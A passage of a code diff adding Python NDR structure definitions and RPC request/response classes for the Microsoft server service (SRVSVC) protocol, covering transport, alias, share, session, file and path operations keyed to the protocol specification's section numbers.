+class LPDISK_ENUM_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', DISK_ENUM_CONTAINER),
+    )
+
+# 2.2.4.93 SERVER_TRANSPORT_INFO_0
+class SERVER_TRANSPORT_INFO_0(NDRSTRUCT):
+    structure = (
+        ('svti0_numberofvcs', DWORD),
+        ('svti0_transportname', LPWSTR),
+        ('svti0_transportaddress', PNDRUniConformantArray),
+        ('svti0_transportaddresslength', DWORD),
+        ('svti0_networkaddress', LPWSTR),
+    )
+
+class LPSERVER_TRANSPORT_INFO_0(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_TRANSPORT_INFO_0),
+    )
+
+class SERVER_TRANSPORT_INFO_0_ARRAY(NDRUniConformantArray):
+    item = SERVER_TRANSPORT_INFO_0
+
+class LPSERVER_TRANSPORT_INFO_0_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_TRANSPORT_INFO_0_ARRAY),
+    )
+
+# 2.2.4.94 SERVER_TRANSPORT_INFO_1
+class SERVER_TRANSPORT_INFO_1(NDRSTRUCT):
+    structure = (
+        ('svti1_numberofvcs', DWORD),
+        ('svti1_transportname', LPWSTR),
+        ('svti1_transportaddress', PNDRUniConformantArray),
+        ('svti1_transportaddresslength', DWORD),
+        ('svti1_networkaddress', LPWSTR),
+        ('svti1_domain', LPWSTR),
+    )
+
+class LPSERVER_TRANSPORT_INFO_1(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_TRANSPORT_INFO_1),
+    )
+
+class SERVER_TRANSPORT_INFO_1_ARRAY(NDRUniConformantArray):
+    item = SERVER_TRANSPORT_INFO_1
+
+class LPSERVER_TRANSPORT_INFO_1_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_TRANSPORT_INFO_1_ARRAY),
+    )
+
+# 2.2.4.95 SERVER_TRANSPORT_INFO_2
+class SERVER_TRANSPORT_INFO_2(NDRSTRUCT):
+    structure = (
+        ('svti2_numberofvcs', DWORD),
+        ('svti2_transportname', LPWSTR),
+        ('svti2_transportaddress', PNDRUniConformantArray),
+        ('svti2_transportaddresslength', DWORD),
+        ('svti2_networkaddress', LPWSTR),
+        ('svti2_domain', LPWSTR),
+        ('svti2_flags', DWORD),
+    )
+
+class LPSERVER_TRANSPORT_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_TRANSPORT_INFO_2),
+    )
+
+class SERVER_TRANSPORT_INFO_2_ARRAY(NDRUniConformantArray):
+    item = SERVER_TRANSPORT_INFO_2
+
+class LPSERVER_TRANSPORT_INFO_2_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_TRANSPORT_INFO_2_ARRAY),
+    )
+
+# 2.2.4.96 SERVER_TRANSPORT_INFO_3
+class PASSWORD_ARRAY(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return 256
+
+class SERVER_TRANSPORT_INFO_3(NDRSTRUCT):
+    structure = (
+        ('svti3_numberofvcs', DWORD),
+        ('svti3_transportname', LPWSTR),
+        ('svti3_transportaddress', PNDRUniConformantArray),
+        ('svti3_transportaddresslength', DWORD),
+        ('svti3_networkaddress', LPWSTR),
+        ('svti3_domain', LPWSTR),
+        ('svti3_flags', DWORD),
+        ('svti3_passwordlength', DWORD),
+        ('svti3_password', PASSWORD_ARRAY),
+    )
+
+class LPSERVER_TRANSPORT_INFO_3(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_TRANSPORT_INFO_3),
+    )
+
+class SERVER_TRANSPORT_INFO_3_ARRAY(NDRUniConformantArray):
+    item = SERVER_TRANSPORT_INFO_3
+
+class LPSERVER_TRANSPORT_INFO_3_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_TRANSPORT_INFO_3_ARRAY),
+    )
+
+# 2.2.4.97 SERVER_XPORT_INFO_0_CONTAINER
+class SERVER_XPORT_INFO_0_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSERVER_TRANSPORT_INFO_0_ARRAY),
+    )
+
+class LPSERVER_XPORT_INFO_0_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_XPORT_INFO_0_CONTAINER),
+    )
+
+# 2.2.4.98 SERVER_XPORT_INFO_1_CONTAINER
+class SERVER_XPORT_INFO_1_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSERVER_TRANSPORT_INFO_1_ARRAY),
+    )
+
+class LPSERVER_XPORT_INFO_1_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_XPORT_INFO_1_CONTAINER),
+    )
+
+# 2.2.4.99 SERVER_XPORT_INFO_2_CONTAINER
+class SERVER_XPORT_INFO_2_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSERVER_TRANSPORT_INFO_2_ARRAY),
+    )
+
+class LPSERVER_XPORT_INFO_2_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_XPORT_INFO_2_CONTAINER),
+    )
+
+# 2.2.4.100 SERVER_XPORT_INFO_3_CONTAINER
+class SERVER_XPORT_INFO_3_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSERVER_TRANSPORT_INFO_3_ARRAY),
+    )
+
+class LPSERVER_XPORT_INFO_3_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_XPORT_INFO_3_CONTAINER),
+    )
+
+# 2.2.3.8 SERVER_XPORT_ENUM_UNION
+class SERVER_XPORT_ENUM_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        0: ('Level0', LPSERVER_XPORT_INFO_0_CONTAINER),
+        1: ('Level1', LPSERVER_XPORT_INFO_1_CONTAINER),
+        2: ('Level2', LPSERVER_XPORT_INFO_2_CONTAINER),
+        3: ('Level3', LPSERVER_XPORT_INFO_3_CONTAINER),
+    }
+
+# 2.2.4.101 SERVER_XPORT_ENUM_STRUCT
+class SERVER_XPORT_ENUM_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', DWORD),
+        ('XportInfo', SERVER_XPORT_ENUM_UNION),
+    )
+
+# 2.2.4.102 SERVER_ALIAS_INFO_0
+class SERVER_ALIAS_INFO_0(NDRSTRUCT):
+    structure = (
+        ('srvai0_alias', LMSTR),
+        ('srvai0_target', LMSTR),
+        ('srvai0_default', NDRBOOLEAN),
+        ('srvai0_reserved', ULONG),
+    )
+
+class LPSERVER_ALIAS_INFO_0(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_ALIAS_INFO_0),
+    )
+
+class SERVER_ALIAS_INFO_0_ARRAY(NDRUniConformantArray):
+    item = SERVER_ALIAS_INFO_0
+
+class LPSERVER_ALIAS_INFO_0_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_ALIAS_INFO_0_ARRAY),
+    )
+
+# 2.2.4.103 SERVER_ALIAS_INFO_0_CONTAINER
+class SERVER_ALIAS_INFO_0_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSERVER_ALIAS_INFO_0_ARRAY),
+    )
+
+class LPSERVER_ALIAS_INFO_0_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_ALIAS_INFO_0_CONTAINER),
+    )
+
+# 2.2.4.104 SERVER_ALIAS_ENUM_STRUCT
+class SERVER_ALIAS_ENUM_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        0: ('Level0', LPSERVER_ALIAS_INFO_0_CONTAINER),
+    }
+
+class SERVER_ALIAS_ENUM_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', DWORD),
+        ('ServerAliasInfo', SERVER_ALIAS_ENUM_UNION),
+    )
+
+# 2.2.4.105 TIME_OF_DAY_INFO
+class TIME_OF_DAY_INFO(NDRSTRUCT):
+    structure = (
+        ('tod_elapsedt', DWORD),
+        ('tod_msecs', DWORD),
+        ('tod_hours', DWORD),
+        ('tod_mins', DWORD),
+        ('tod_secs', DWORD),
+        ('tod_hunds', DWORD),
+        ('tod_timezone', DWORD),
+        ('tod_tinterval', DWORD),
+        ('tod_day', DWORD),
+        ('tod_month', DWORD),
+        ('tod_year', DWORD),
+        ('tod_weekday', DWORD),
+    )
+
+class LPTIME_OF_DAY_INFO(NDRPOINTER):
+    referent = (
+        ('Data', TIME_OF_DAY_INFO),
+    )
+
+# 2.2.4.106 ADT_SECURITY_DESCRIPTOR
+class ADT_SECURITY_DESCRIPTOR(NDRSTRUCT):
+    structure = (
+        ('Length', DWORD),
+        ('Buffer', PNDRUniConformantArray),
+    )
+
+class PADT_SECURITY_DESCRIPTOR(NDRPOINTER):
+    referent = (
+        ('Data', ADT_SECURITY_DESCRIPTOR),
+    )
+
+# 2.2.4.107 NET_DFS_ENTRY_ID
+class NET_DFS_ENTRY_ID(NDRSTRUCT):
+    structure = (
+        ('Uid', GUID),
+        ('Prefix', LPWSTR),
+    )
+
+class NET_DFS_ENTRY_ID_ARRAY(NDRUniConformantArray):
+    item = NET_DFS_ENTRY_ID
+
+class LPNET_DFS_ENTRY_ID_ARRAY(NDRPOINTER):
+     referent = (
+         ('Data', NET_DFS_ENTRY_ID_ARRAY),
+     )
+
+# 2.2.4.108 NET_DFS_ENTRY_ID_CONTAINER
+class NET_DFS_ENTRY_ID_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('Count', DWORD),
+        ('Buffer', LPNET_DFS_ENTRY_ID_ARRAY),
+    )
+
+# 2.2.4.109 DFS_SITENAME_INFO
+class DFS_SITENAME_INFO(NDRSTRUCT):
+    structure = (
+        ('SiteFlags', DWORD),
+        ('SiteName', LPWSTR),
+    )
+
+# 2.2.4.110 DFS_SITELIST_INFO
+class DFS_SITENAME_INFO_ARRAY(NDRUniConformantArray):
+    item = DFS_SITENAME_INFO
+
+class DFS_SITELIST_INFO(NDRSTRUCT):
+    structure = (
+        ('cSites', DWORD),
+        ('Site', DFS_SITENAME_INFO_ARRAY),
+    )
+
+class LPDFS_SITELIST_INFO(NDRPOINTER):
+    referent = (
+        ('Data', DFS_SITELIST_INFO),
+    )
+
+# 2.2.3 Unions
+# 2.2.3.3 FILE_INFO
+class FILE_INFO(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        2: ('FileInfo2', LPFILE_INFO_2),
+        3: ('FileInfo3', LPFILE_INFO_3),
+    }
+
+# 2.2.3.6 SHARE_INFO
+class SHARE_INFO(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        0: ('ShareInfo0', LPSHARE_INFO_0),
+        1: ('ShareInfo1', LPSHARE_INFO_1),
+        2: ('ShareInfo2', LPSHARE_INFO_2),
+        502: ('ShareInfo502', LPSHARE_INFO_502),
+        1004: ('ShareInfo1004', LPSHARE_INFO_1004),
+        1006: ('ShareInfo1006', LPSHARE_INFO_1006),
+        1501: ('ShareInfo1501', LPSHARE_INFO_1501),
+        1005: ('ShareInfo1005', LPSHARE_INFO_1005),
+        501: ('ShareInfo501', LPSHARE_INFO_501),
+        503: ('ShareInfo503', LPSHARE_INFO_503),
+    }
+
+# 2.2.3.7 SERVER_INFO
+class SERVER_INFO(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        100: ('ServerInfo100', LPSERVER_INFO_100),
+        101: ('ServerInfo101', LPSERVER_INFO_101),
+        102: ('ServerInfo102', LPSERVER_INFO_102),
+        103: ('ServerInfo103', LPSERVER_INFO_103),
+        502: ('ServerInfo502', LPSERVER_INFO_502),
+        503: ('ServerInfo503', LPSERVER_INFO_503),
+        599: ('ServerInfo599', LPSERVER_INFO_599),
+        1005: ('ServerInfo1005', LPSERVER_INFO_1005),
+        1107: ('ServerInfo1107', LPSERVER_INFO_1107),
+        1010: ('ServerInfo1010', LPSERVER_INFO_1010),
+        1016: ('ServerInfo1016', LPSERVER_INFO_1016),
+        1017: ('ServerInfo1017', LPSERVER_INFO_1017),
+        1018: ('ServerInfo1018', LPSERVER_INFO_1018),
+        1501: ('ServerInfo1501', LPSERVER_INFO_1501),
+        1502: ('ServerInfo1502', LPSERVER_INFO_1502),
+        1503: ('ServerInfo1503', LPSERVER_INFO_1503),
+        1506: ('ServerInfo1506', LPSERVER_INFO_1506),
+        1510: ('ServerInfo1510', LPSERVER_INFO_1510),
+        1511: ('ServerInfo1511', LPSERVER_INFO_1511),
+        1512: ('ServerInfo1512', LPSERVER_INFO_1512),
+        1513: ('ServerInfo1513', LPSERVER_INFO_1513),
+        1514: ('ServerInfo1514', LPSERVER_INFO_1514),
+        1515: ('ServerInfo1515', LPSERVER_INFO_1515),
+        1516: ('ServerInfo1516', LPSERVER_INFO_1516),
+        1518: ('ServerInfo1518', LPSERVER_INFO_1518),
+        1523: ('ServerInfo1523', LPSERVER_INFO_1523),
+        1528: ('ServerInfo1528', LPSERVER_INFO_1528),
+        1529: ('ServerInfo1529', LPSERVER_INFO_1529),
+        1530: ('ServerInfo1530', LPSERVER_INFO_1530),
+        1533: ('ServerInfo1533', LPSERVER_INFO_1533),
+        1534: ('ServerInfo1534', LPSERVER_INFO_1534),
+        1535: ('ServerInfo1535', LPSERVER_INFO_1535),
+        1536: ('ServerInfo1536', LPSERVER_INFO_1536),
+        1538: ('ServerInfo1538', LPSERVER_INFO_1538),
+        1539: ('ServerInfo1539', LPSERVER_INFO_1539),
+        1540: ('ServerInfo1540', LPSERVER_INFO_1540),
+        1541: ('ServerInfo1541', LPSERVER_INFO_1541),
+        1542: ('ServerInfo1542', LPSERVER_INFO_1542),
+        1543: ('ServerInfo1543', LPSERVER_INFO_1543),
+        1544: ('ServerInfo1544', LPSERVER_INFO_1544),
+        1545: ('ServerInfo1545', LPSERVER_INFO_1545),
+        1546: ('ServerInfo1546', LPSERVER_INFO_1546),
+        1547: ('ServerInfo1547', LPSERVER_INFO_1547),
+        1548: ('ServerInfo1548', LPSERVER_INFO_1548),
+        1549: ('ServerInfo1549', LPSERVER_INFO_1549),
+        1550: ('ServerInfo1550', LPSERVER_INFO_1550),
+        1552: ('ServerInfo1552', LPSERVER_INFO_1552),
+        1553: ('ServerInfo1553', LPSERVER_INFO_1553),
+        1554: ('ServerInfo1554', LPSERVER_INFO_1554),
+        1555: ('ServerInfo1555', LPSERVER_INFO_1555),
+        1556: ('ServerInfo1556', LPSERVER_INFO_1556),
+    }
+
+# 2.2.3.9 TRANSPORT_INFO
+class TRANSPORT_INFO(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        0: ('Transport0', SERVER_TRANSPORT_INFO_0),
+        1: ('Transport1', SERVER_TRANSPORT_INFO_1),
+        2: ('Transport2', SERVER_TRANSPORT_INFO_2),
+        3: ('Transport3', SERVER_TRANSPORT_INFO_3),
+    }
+
+# 2.2.3.10 SERVER_ALIAS_INFO
+class SERVER_ALIAS_INFO(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        0: ('ServerAliasInfo0', LPSERVER_ALIAS_INFO_0),
+    }
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.1 NetrConnectionEnum (Opnum 8)
+class NetrConnectionEnum(NDRCALL):
+    opnum = 8
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Qualifier', LPWSTR),
+       ('InfoStruct', CONNECT_ENUM_STRUCT),
+       ('PreferedMaximumLength', DWORD),
+       ('ResumeHandle', LPLONG),
+    )
+
+class NetrConnectionEnumResponse(NDRCALL):
+    structure = (
+       ('InfoStruct',CONNECT_ENUM_STRUCT),
+       ('TotalEntries',DWORD),
+       ('ResumeHandle',LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.2 NetrFileEnum (Opnum 9)
+class NetrFileEnum(NDRCALL):
+    opnum = 9
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('BasePath', LPWSTR),
+       ('UserName', LPWSTR),
+       ('InfoStruct', FILE_ENUM_STRUCT),
+       ('PreferedMaximumLength', DWORD),
+       ('ResumeHandle', LPLONG),
+    )
+
+class NetrFileEnumResponse(NDRCALL):
+    structure = (
+       ('InfoStruct',FILE_ENUM_STRUCT),
+       ('TotalEntries',DWORD),
+       ('ResumeHandle',LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.3 NetrFileGetInfo (Opnum 10)
+class NetrFileGetInfo(NDRCALL):
+    opnum = 10
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('FileId', DWORD),
+       ('Level', DWORD),
+    )
+
+class NetrFileGetInfoResponse(NDRCALL):
+    structure = (
+       ('InfoStruct',FILE_INFO),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.4 NetrFileClose (Opnum 11)
+class NetrFileClose(NDRCALL):
+    opnum = 11
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('FileId', DWORD),
+    )
+
+class NetrFileCloseResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.5 NetrSessionEnum (Opnum 12)
+class NetrSessionEnum(NDRCALL):
+    opnum = 12
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('ClientName', LPWSTR),
+       ('UserName', LPWSTR),
+       ('InfoStruct', SESSION_ENUM_STRUCT),
+       ('PreferedMaximumLength', DWORD),
+       ('ResumeHandle', LPLONG),
+    )
+
+class NetrSessionEnumResponse(NDRCALL):
+    structure = (
+       ('InfoStruct',SESSION_ENUM_STRUCT),
+       ('TotalEntries',DWORD),
+       ('ResumeHandle',LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.6 NetrSessionDel (Opnum 13)
+class NetrSessionDel(NDRCALL):
+    opnum = 13
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('ClientName', LPWSTR),
+       ('UserName', LPWSTR),
+    )
+
+class NetrSessionDelResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.7 NetrShareAdd (Opnum 14)
+class NetrShareAdd(NDRCALL):
+    opnum = 14
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('InfoStruct', SHARE_INFO),
+       ('ParmErr', LPLONG),
+    )
+
+class NetrShareAddResponse(NDRCALL):
+    structure = (
+       ('ParmErr', LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.8 NetrShareEnum (Opnum 15)
+class NetrShareEnum(NDRCALL):
+    opnum = 15
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('InfoStruct', SHARE_ENUM_STRUCT),
+       ('PreferedMaximumLength', DWORD),
+       ('ResumeHandle', LPLONG),
+    )
+
+class NetrShareEnumResponse(NDRCALL):
+    structure = (
+       ('InfoStruct', SHARE_ENUM_STRUCT),
+       ('TotalEntries',DWORD),
+       ('ResumeHandle',LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.9 NetrShareEnumSticky (Opnum 36)
+class NetrShareEnumSticky(NDRCALL):
+    opnum = 36
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('InfoStruct', SHARE_ENUM_STRUCT),
+       ('PreferedMaximumLength', DWORD),
+       ('ResumeHandle', LPLONG),
+    )
+
+class NetrShareEnumStickyResponse(NDRCALL):
+    structure = (
+       ('InfoStruct', SHARE_ENUM_STRUCT),
+       ('TotalEntries',DWORD),
+       ('ResumeHandle',LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.10 NetrShareGetInfo (Opnum 16)
+class NetrShareGetInfo(NDRCALL):
+    opnum = 16
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('NetName', WSTR),
+       ('Level', DWORD),
+    )
+
+class NetrShareGetInfoResponse(NDRCALL):
+    structure = (
+       ('InfoStruct', SHARE_INFO),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.11 NetrShareSetInfo (Opnum 17)
+class NetrShareSetInfo(NDRCALL):
+    opnum = 17
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('NetName', WSTR),
+       ('Level', DWORD),
+       ('ShareInfo', SHARE_INFO),
+       ('ParmErr', LPLONG),
+    )
+
+class NetrShareSetInfoResponse(NDRCALL):
+    structure = (
+       ('ParmErr', LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.12 NetrShareDel (Opnum 18)
+class NetrShareDel(NDRCALL):
+    opnum = 18
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('NetName', WSTR),
+       ('Reserved', DWORD),
+    )
+
+class NetrShareDelResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.13 NetrShareDelSticky (Opnum 19)
+class NetrShareDelSticky(NDRCALL):
+    opnum = 19
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('NetName', WSTR),
+       ('Reserved', DWORD),
+    )
+
+class NetrShareDelStickyResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.14 NetrShareDelStart (Opnum 37)
+class NetrShareDelStart(NDRCALL):
+    opnum = 37
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('NetName', WSTR),
+       ('Reserved', DWORD),
+    )
+
+class NetrShareDelStartResponse(NDRCALL):
+    structure = (
+       ('ContextHandle',SHARE_DEL_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.15 NetrShareDelCommit (Opnum 38)
+class NetrShareDelCommit(NDRCALL):
+    opnum = 38
+    structure = (
+       ('ContextHandle',SHARE_DEL_HANDLE),
+    )
+
+class NetrShareDelCommitResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.16 NetrShareCheck (Opnum 20)
+class NetrShareCheck(NDRCALL):
+    opnum = 20
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Device', WSTR),
+    )
+
+class NetrShareCheckResponse(NDRCALL):
+    structure = (
+       ('Type',DWORD),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.17 NetrServerGetInfo (Opnum 21)
+class NetrServerGetInfo(NDRCALL):
+    opnum = 21
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+    )
+
+class NetrServerGetInfoResponse(NDRCALL):
+    structure = (
+       ('InfoStruct', SERVER_INFO),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.18 NetrServerSetInfo (Opnum 22)
+class NetrServerSetInfo(NDRCALL):
+    opnum = 22
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('InfoStruct', SERVER_INFO),
+    )
+
+class NetrServerSetInfoResponse(NDRCALL):
+    structure = (
+       ('ParmErr', LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.19 NetrServerDiskEnum (Opnum 23)
+class NetrServerDiskEnum(NDRCALL):
+    opnum = 23
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('DiskInfoStruct', DISK_ENUM_CONTAINER),
+       ('PreferedMaximumLength', DWORD),
+       ('ResumeHandle', LPLONG),
+    )
+
+class NetrServerDiskEnumResponse(NDRCALL):
+    structure = (
+       ('DiskInfoStruct', DISK_ENUM_CONTAINER),
+       ('TotalEntries', DWORD),
+       ('ResumeHandle', LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.20 NetrServerStatisticsGet (Opnum 24)
+class NetrServerStatisticsGet(NDRCALL):
+    opnum = 24
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Service', LPWSTR),
+       ('Level', DWORD),
+       ('Options', DWORD),
+    )
+
+class NetrServerStatisticsGetResponse(NDRCALL):
+    structure = (
+       ('InfoStruct', LPSTAT_SERVER_0),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.21 NetrRemoteTOD (Opnum 28)
+class NetrRemoteTOD(NDRCALL):
+    opnum = 28
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+    )
+
+class NetrRemoteTODResponse(NDRCALL):
+    structure = (
+       ('BufferPtr', LPTIME_OF_DAY_INFO),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.22 NetrServerTransportAdd (Opnum 25)
+class NetrServerTransportAdd(NDRCALL):
+    opnum = 25
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('Buffer', SERVER_TRANSPORT_INFO_0),
+    )
+
+class NetrServerTransportAddResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.23 NetrServerTransportAddEx (Opnum 41)
+class NetrServerTransportAddEx(NDRCALL):
+    opnum = 41
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('Buffer', TRANSPORT_INFO),
+    )
+
+class NetrServerTransportAddExResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.24 NetrServerTransportEnum (Opnum 26)
+class NetrServerTransportEnum(NDRCALL):
+    opnum = 26
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('InfoStruct', SERVER_XPORT_ENUM_STRUCT),
+       ('PreferedMaximumLength', DWORD),
+       ('ResumeHandle', LPLONG),
+    )
+
+class NetrServerTransportEnumResponse(NDRCALL):
+    structure = (
+       ('InfoStruct', SERVER_XPORT_ENUM_STRUCT),
+       ('TotalEntries', DWORD),
+       ('ResumeHandle', LPLONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.25 NetrServerTransportDel (Opnum 27)
+class NetrServerTransportDel(NDRCALL):
+    opnum = 27
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('Buffer', SERVER_TRANSPORT_INFO_0),
+    )
+
+class NetrServerTransportDelResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.26 NetrServerTransportDelEx (Opnum 53)
+class NetrServerTransportDelEx(NDRCALL):
+    opnum = 53
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Level', DWORD),
+       ('Buffer', TRANSPORT_INFO),
+    )
+
+class NetrServerTransportDelExResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.27 NetrpGetFileSecurity (Opnum 39)
+class NetrpGetFileSecurity(NDRCALL):
+    opnum = 39
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('ShareName', LPWSTR),
+       ('lpFileName', WSTR),
+       ('RequestedInformation', SECURITY_INFORMATION),
+    )
+
+class NetrpGetFileSecurityResponse(NDRCALL):
+    structure = (
+       ('SecurityDescriptor', PADT_SECURITY_DESCRIPTOR),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.28 NetrpSetFileSecurity (Opnum 40)
+class NetrpSetFileSecurity(NDRCALL):
+    opnum = 40
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('ShareName', LPWSTR),
+       ('lpFileName', WSTR),
+       ('SecurityInformation', SECURITY_INFORMATION),
+       ('SecurityDescriptor', ADT_SECURITY_DESCRIPTOR),
+    )
+
+class NetrpSetFileSecurityResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.29 NetprPathType (Opnum 30)
+class NetprPathType(NDRCALL):
+    opnum = 30
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('PathName', WSTR),
+       ('Flags', DWORD),
+    )
+
+class NetprPathTypeResponse(NDRCALL):
+    structure = (
+       ('PathType', DWORD),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.30 NetprPathCanonicalize (Opnum 31)
+class NetprPathCanonicalize(NDRCALL):
+    opnum = 31
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('PathName', WSTR),
+       ('OutbufLen', DWORD),
+       ('Prefix', WSTR),
+       ('PathType', DWORD),
+       ('Flags', DWORD),
+    )
+
+class NetprPathCanonicalizeResponse(NDRCALL):
+    structure = (
+       ('Outbuf', NDRUniConformantArray),
+       ('PathType', DWORD),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.31 NetprPathCompare (Opnum 32)
+class NetprPathCompare(NDRCALL):
+    opnum = 32
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('PathName1', WSTR),
+       ('PathName2', WSTR),
+       ('PathType', DWORD),
+       ('Flags', DWORD),
+    )
+
+class NetprPathCompareResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.32 NetprNameValidate (Opnum 33)
+class NetprNameValidate(NDRCALL):
+    opnum = 33
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Name', WSTR),
+       ('NameType', DWORD),
+       ('Flags', DWORD),
+    )
+
+class NetprNameValidateResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.33 NetprNameCanonicalize (Opnum 34)
+class NetprNameCanonicalize(NDRCALL):
+    opnum = 34
+    structure = (
+       ('ServerName', PSRVSVC_HANDLE),
+       ('Name', WSTR),
+       ('OutbufLen', DWORD),
+       ('NameType', DWORD),
+       ('Flags', DWORD),
+    )
+
+class NetprNameCanonicalizeResponse(NDRCALL):
+    structure = (
+       ('Outbuf', NDRUniConformantArray),
+       ('NameType', DWORD),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.1.4.34 NetprNameCompare (Opnum 35)
